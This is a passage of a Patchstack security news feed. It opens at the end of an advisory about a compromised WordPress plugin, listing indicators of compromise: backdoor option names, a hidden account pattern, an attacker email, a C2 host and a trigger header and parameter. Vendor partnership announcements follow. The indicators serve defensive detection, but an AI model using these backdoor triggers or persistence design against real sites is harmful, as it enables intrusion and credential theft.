&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;code&gt;_wpc_ak&lt;/code&gt; (backdoor authentication key)&lt;/li&gt;



&lt;li&gt;&lt;code&gt;_wpc_uid&lt;/code&gt; (hidden user ID)&lt;/li&gt;



&lt;li&gt;&lt;code&gt;_wpc_uinfo&lt;/code&gt; (base64-encoded plaintext credentials)&lt;/li&gt;
&lt;/ul&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;User accounts&lt;/h3&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Username matching &lt;code&gt;wpsvc_*&lt;/code&gt; pattern&lt;/li&gt;



&lt;li&gt;Email address &lt;code&gt;kiziltxt2@gmail.com&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;Display name “WordPress Service”&lt;/li&gt;
&lt;/ul&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Network indicators&lt;/h3&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Outbound HTTP POST to &lt;code&gt;wpjs1.com&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;Inbound requests containing the &lt;code&gt;X-Cache-Status: nw9xQmK4&lt;/code&gt; header&lt;/li&gt;



&lt;li&gt;Inbound requests with the &lt;code&gt;_chk&lt;/code&gt; GET parameter&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This incident is a textbook supply chain compromise, the kind that renders traditional perimeter defenses irrelevant. Generic firewall rules, nonce verification, role-based access controls, none of them apply when the malicious code is delivered through the trusted update channel. The plugin &lt;em&gt;is&lt;/em&gt; the malware.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The sophistication of the payload is notable: rather than a simple webshell, the attacker deployed a &lt;strong&gt;multi-layered persistence toolkit&lt;/strong&gt; with several independent, redundant re-entry points, user concealment, resilient command execution with fallback chains, and automatic C2 registration with full credential exfiltration.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;


&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta-end&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;🤝 You can help us make the Internet a safer place&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developer?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.&lt;/p&gt;
            &lt;a href=&quot;/for-plugins/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Get started for free&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting company?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users too! Improve server health and earn added revenue with proactive security.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Security researcher?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.&lt;/p&gt;
            &lt;a href=&quot;/bug-bounty/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Learn more&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;</content:encoded><category>Featured</category><category>Security Advisories</category><category>Supply Chain Attack</category><author>Edouard</author></item><item><title>Manage by Elementor: Now with Patchstack Vulnerability Detection</title><link>https://patchstack.com/articles/manage-by-elementor-now-with-patchstack-vulnerability-detection/</link><guid isPermaLink="true">https://patchstack.com/articles/manage-by-elementor-now-with-patchstack-vulnerability-detection/</guid><description>Elementor – the website builder powering over 21 million WordPress sites – has integrated Patchstack into its site management dashboard – Manage. Real-time vulnerability detection is now built directly into the tool that agencies and web creators use to run their entire portfolio. No additional security plugins or switching tabs. Security intel, right where the […]
</description><pubDate>Tue, 31 Mar 2026 12:44:48 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;Elementor – the website builder powering over 21 million WordPress sites – has integrated Patchstack into &lt;a href=&quot;https://elementor.com/products/manage/&quot;&gt;its site management dashboard – Manage&lt;/a&gt;. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Real-time vulnerability detection is now built directly into the tool that agencies and web creators use to run their entire portfolio.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;No additional security plugins or switching tabs. Security intel, right where the users are already working.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;We understand how important site security is to our web creators, and that’s why we’ve partnered with Patchstack to surface real-time security risks directly within the Manage dashboard, allowing users to be proactive about site safety and address risks before they escalate.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;800&quot; height=&quot;800&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/03/1581423988953.jpeg&quot; class=&quot;wp-image-25792&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/03/1581423988953.jpeg 800w, https://wp.patchstack.com/wp-content/uploads/2026/03/1581423988953-300x300.jpeg 300w, https://wp.patchstack.com/wp-content/uploads/2026/03/1581423988953-150x150.jpeg 150w, https://wp.patchstack.com/wp-content/uploads/2026/03/1581423988953-768x768.jpeg 768w&quot; sizes=&quot;auto, (max-width: 800px) 100vw, 800px&quot; /&gt;&lt;span&gt;— &lt;span&gt;&lt;strong&gt;Ran Madjar, Head of Elementor One&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;How Patchstack provides visibility within Manage by Elementor&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;With Patchstack now built into Manage, users get:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;strong&gt;Real-time security risk (vulnerability) detection&lt;/strong&gt; across all connected sites. The moment a plugin risk is discovered, it shows up in the dashboard.&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Severity ratings&lt;/strong&gt; (High, Medium, Low) so teams can prioritize what actually needs attention.&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Bulk site view&lt;/strong&gt; where users can explore the details of security risks.&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Direct links to Patchstack&lt;/strong&gt; for full technical details and remediation guidance.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;And because it’s on by default, users are in the know from the beginning.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-full is-resized&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;437&quot; height=&quot;524&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/03/elementor-ps-integration.png&quot; alt=&quot;elementor patchstack integration&quot; class=&quot;wp-image-25796&quot; style=&quot;aspect-ratio:0.8336400011682584;width:336px;height:auto&quot;/&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;One less thing for agencies to worry about&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;WordPress plugin vulnerabilities aren’t slowing down, and the window between disclosure and active exploitation &lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2026/&quot;&gt;keeps getting shorter&lt;/a&gt;. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Agencies managing dozens of client sites are especially exposed, because the more sites you run, the harder it is to keep track of what’s at risk.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;By bringing our vulnerability intelligence into Manage, we’re &lt;strong&gt;making it easier for professionals to stay ahead of threats&lt;/strong&gt; without adding anything to their workflow. The visibility is there – built into the tool that they’re already in every day.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;em&gt;That’s&lt;/em&gt; how security should work.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;a href=&quot;https://elementor.com/help/how-does-patchstach-vulnerability-work-in-elementor-manage/&quot;&gt;Learn more about how Patchstack works within Manage by Elementor.&lt;/a&gt; &lt;br&gt;&lt;/p&gt;
</content:encoded><category>Patchstack News</category><author>Lana Rafaela</author></item><item><title>JetHost Partners with Patchstack for Proactive WordPress Security</title><link>https://patchstack.com/articles/jethost-partners-with-patchstack-for-proactive-wordpress-security/</link><guid isPermaLink="true">https://patchstack.com/articles/jethost-partners-with-patchstack-for-proactive-wordpress-security/</guid><description>We’re excited to announce that JetHost has partnered with Patchstack to bring proactive vulnerability protection to WordPress websites hosted on its platform. JetHost is a modern hosting provider built by industry veterans with more than 20 years of experience, offering a platform optimized for WordPress and WooCommerce websites, combining performance-focused architecture and secure hosting environments […]
</description><pubDate>Wed, 04 Mar 2026 13:37:07 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;We’re excited to announce that &lt;strong&gt;&lt;a href=&quot;https://jethost.com/&quot;&gt;JetHost&lt;/a&gt;&lt;/strong&gt; has partnered with &lt;strong&gt;Patchstack&lt;/strong&gt; to bring proactive vulnerability protection to WordPress websites hosted on its platform.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;JetHost is a modern hosting provider built by industry veterans with &lt;strong&gt;more than 20 years of experience&lt;/strong&gt;, offering a platform optimized for WordPress and WooCommerce websites, combining performance-focused architecture and secure hosting environments to support businesses, agencies, and developers at every stage of growth.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;And with &lt;strong&gt;Patchstack&lt;/strong&gt;, they get a security partner they can rely on. &lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;Our partnership with Patchstack strengthens our ability to deliver proactive protection to our clients. Rather than simply reacting to emerging threats, we can now help prevent vulnerabilities from being exploited in the first place. This collaboration represents a strategic advancement in our security offering and reinforces our commitment to delivering high-value, future-ready web hosting solutions.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/03/metodi-drenovski-1.webp&quot; class=&quot;wp-image-25723&quot; alt=&quot;&quot;&gt;&lt;span&gt;— &lt;span&gt;Metodi Drenovski, JetHost&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;Strengthening WordPress security at the hosting layer&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;WordPress powers a significant portion of the web, but its open ecosystem also means &lt;a href=&quot;https://wp.patchstack.com/whitepaper/state-of-wordpress-security-in-2026/&quot;&gt;an increasing number of vulnerabilities in plugins and themes.&lt;/a&gt; While applying updates remains the best defense, many websites are exposed during the period between vulnerability disclosure and update availability.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Through this partnership, JetHost customers can activate &lt;strong&gt;Patchstack-powered vulnerability monitoring and mitigation&lt;/strong&gt;, helping prevent known vulnerabilities from being exploited even before updates are applied.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;a href=&quot;https://jethost.com/hosting-for-wordpress/&quot;&gt;JetHost’s Business plan users &lt;/a&gt;will automatically receive Patchstack protection included with their accounts for one domain of their choice, while users on other plans can enable Patchstack for $3.99/domain/month.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This integration enables:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;strong&gt;Continuous vulnerability monitoring for WordPress plugins and themes&lt;/strong&gt;&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Mitigation rules to block exploit attempts targeting known vulnerabilities&lt;/strong&gt;&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Security alerts that help site owners respond quickly to risks&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;By combining hosting infrastructure with vulnerability intelligence, JetHost helps its customers reduce security risks and maintain website stability.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;560&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/03/image-3-1024x560.png&quot; alt=&quot;JetHost&apos;s Patchstack integration&quot; class=&quot;wp-image-25728&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/03/image-3-1024x560.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/03/image-3-300x164.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/03/image-3-768x420.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/03/image-3-1536x840.png 1536w, https://wp.patchstack.com/wp-content/uploads/2026/03/image-3.png 1976w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Advancing security across the WordPress ecosystem&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;JetHost views WordPress security as a foundational part of hosting, and Patchstack provides &lt;strong&gt;the largest vulnerability intelligence database&lt;/strong&gt; in the WordPress ecosystem and protects millions of websites through &lt;strong&gt;real-time mitigation&lt;/strong&gt; and threat intelligence.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Together, we are working toward a safer WordPress ecosystem where websites remain protected even as new vulnerabilities emerge.&lt;br&gt;&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;Clients who choose to activate the service benefit from continuous vulnerability monitoring, mitigation, and timely alerts related to plugin and theme risks, providing enhanced protection, reduced downtime, and greater operational confidence.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/03/metodi-drenovski-1.webp&quot; class=&quot;wp-image-25723&quot; alt=&quot;&quot;&gt;&lt;span&gt;— &lt;span&gt;Metodi Drenovski, JetHost&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;a href=&quot;https://jethost.com/blog/introducing-patchstack-wordpress-vulnerability-scanner/&quot;&gt;Learn more about the integration in JetHost’s post. &lt;/a&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;
</content:encoded><category>Patchstack News</category><author>Lana Rafaela</author></item><item><title>BigWetFish Hosting Partners with Patchstack for WordPress Security</title><link>https://patchstack.com/articles/bigwetfish-hosting-partners-with-patchstack-for-wordpress-security/</link><guid isPermaLink="true">https://patchstack.com/articles/bigwetfish-hosting-partners-with-patchstack-for-wordpress-security/</guid><description>We’re thrilled to announce that BigWetFish Hosting, a trusted UK &amp;amp; Ireland-based web hosting provider known for fast performance, dependable support, and WordPress-optimized hosting, has integrated Patchstack for proactive WordPress vulnerability protection. As part of this integration, BigWetFish customers will now get Patchstack’s automated vulnerability detection and mitigation, allowing them to protect their WordPress sites […]
</description><pubDate>Fri, 27 Feb 2026 09:26:07 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;We’re thrilled to announce that &lt;strong&gt;&lt;a href=&quot;https://bigwetfish.hosting/&quot;&gt;BigWetFish Hosting&lt;/a&gt;&lt;/strong&gt;, a trusted UK &amp;amp; Ireland-based web hosting provider known for fast performance, dependable support, and WordPress-optimized hosting, has integrated Patchstack for proactive WordPress vulnerability protection.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As part of this integration, BigWetFish customers will now get &lt;strong&gt;Patchstack’s automated vulnerability detection and mitigation&lt;/strong&gt;, allowing them to protect their WordPress sites from emerging threats – especially during the window between vulnerability disclosure and updates. &lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;Security is not just a feature at Big Wet Fish Hosting; it is part of our responsibility as a hosting provider. We understand that many WordPress site owners are busy running their businesses, and updates do not always happen immediately. By partnering with Patchstack, we are adding an extra layer of proactive protection against newly discovered vulnerabilities, helping safeguard our customers’ websites even when they fall behind on updates. This integration is another step in raising the standard of managed WordPress hosting.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;512&quot; height=&quot;512&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/T31AAMJ1Z-U0AFEVB7139-gf55a8bb0ede-512.png&quot; class=&quot;wp-image-25700&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/T31AAMJ1Z-U0AFEVB7139-gf55a8bb0ede-512.png 512w, https://wp.patchstack.com/wp-content/uploads/2026/02/T31AAMJ1Z-U0AFEVB7139-gf55a8bb0ede-512-300x300.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/02/T31AAMJ1Z-U0AFEVB7139-gf55a8bb0ede-512-150x150.png 150w&quot; sizes=&quot;auto, (max-width: 512px) 100vw, 512px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Stephen Kinkaid, BigWetFish Hosting&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;Preventing – not only reacting&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Security threats in the WordPress ecosystem continue to grow. Heavily exploited vulnerabilities also see &lt;strong&gt;a median time to exploit of 5 hours&lt;/strong&gt;. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;And while updates remain critical, site owners don’t always apply them immediately, leaving websites exposed during the gap between vulnerability disclosure and patching.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Through this integration, &lt;strong&gt;Big Wet Fish Hosting customers now benefit from:&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Real-time vulnerability monitoring&lt;/li&gt;



&lt;li&gt;Protection against exploitation attempts through RapidMitigate rules&lt;/li&gt;



&lt;li&gt;Reduced risk during delayed updates&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack works at the application layer to &lt;strong&gt;block malicious requests targeting known vulnerabilities&lt;/strong&gt;, providing an additional layer of defense beyond traditional hosting security controls.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Protecting WordPress – together&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack protects millions of WordPress websites by providing the largest vulnerability database in the WordPress ecosystem and delivering real-time mitigation rules against exploitable threats.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;And by partnering with Patchstack, Big Wet Fish Hosting joins a growing network of hosting providers committed to improving security standards across WordPress hosting, so customers don’t have to choose between performance, reliability, and protection. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;We’re proud to work with Big Wet Fish Hosting to make sure users can focus on growth while we handle the security. &lt;/p&gt;
</content:encoded><category>Patchstack News</category><author>Lana Rafaela</author></item><item><title>ManageWP Partners with Patchstack for Protection at Scale</title><link>https://patchstack.com/articles/managewp-partners-with-patchstack-for-protection-at-scale/</link><guid isPermaLink="true">https://patchstack.com/articles/managewp-partners-with-patchstack-for-protection-at-scale/</guid><description>ManageWP has been making the lives of WordPress professionals and agencies easier for years within the GoDaddy ecosystem – helping them manage updates, backups, monitoring, and reporting at scale. Today, we’re excited to announce that its security is getting a major upgrade with the introduction of Patchstack’s vulnerability detection and proactive protection. What Patchstack Protection […]
</description><pubDate>Thu, 19 Feb 2026 11:59:20 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;&lt;a href=&quot;https://managewp.com/&quot;&gt;ManageWP&lt;/a&gt;&lt;/strong&gt; has been making the lives of WordPress professionals and agencies easier for years within the GoDaddy ecosystem – helping them manage updates, backups, monitoring, and reporting at scale.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Today, we’re excited to announce that its security is getting a major upgrade with the introduction of &lt;strong&gt;Patchstack’s vulnerability detection and proactive protection&lt;/strong&gt;.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;You know what our users told us? They’re tired of scrambling every time a vulnerability drops. They wanted protection that actually gives them breathing room. That’s exactly what Patchstack does. Their protection blocks threats while our users plan and test updates properly. No more emergency fixes, no more 2 AM panic. Just good security that fits into how they actually work.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;768&quot; height=&quot;528&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/predrag-zdravkovic-768x528-1.webp&quot; class=&quot;wp-image-25574&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/predrag-zdravkovic-768x528-1.webp 768w, https://wp.patchstack.com/wp-content/uploads/2026/02/predrag-zdravkovic-768x528-1-300x206.webp 300w&quot; sizes=&quot;auto, (max-width: 768px) 100vw, 768px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Predrag Zdravkovic, ManageWP&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;What Patchstack Protection adds to ManageWP&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;With &lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2025/&quot;&gt;7,966 vulnerabilities identified in 2024&lt;/a&gt; and exploits often beginning within 5 hours of public disclosure, WordPress sites are exposed during the most dangerous period – the gap between disclosure and patching.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;For agencies managing dozens or hundreds of sites, manually reacting within that window simply isn’t scalable.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack’s RapidMitigate protection closes that window by &lt;strong&gt;applying targeted mitigation rules up to 48 hours before vulnerabilities go public&lt;/strong&gt;, even before plugin developers release updates, and blocking attack attempts.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;ManageWP users will be able to immediately see: &lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Identified vulnerabilities across plugins, themes, and core&lt;/li&gt;



&lt;li&gt;Exploit attempts that were automatically mitigated&lt;/li&gt;



&lt;li&gt;Threat intelligence details, including attack types and malicious IPs&lt;/li&gt;



&lt;li&gt;Protection status across all managed sites&lt;/li&gt;
&lt;/ul&gt;



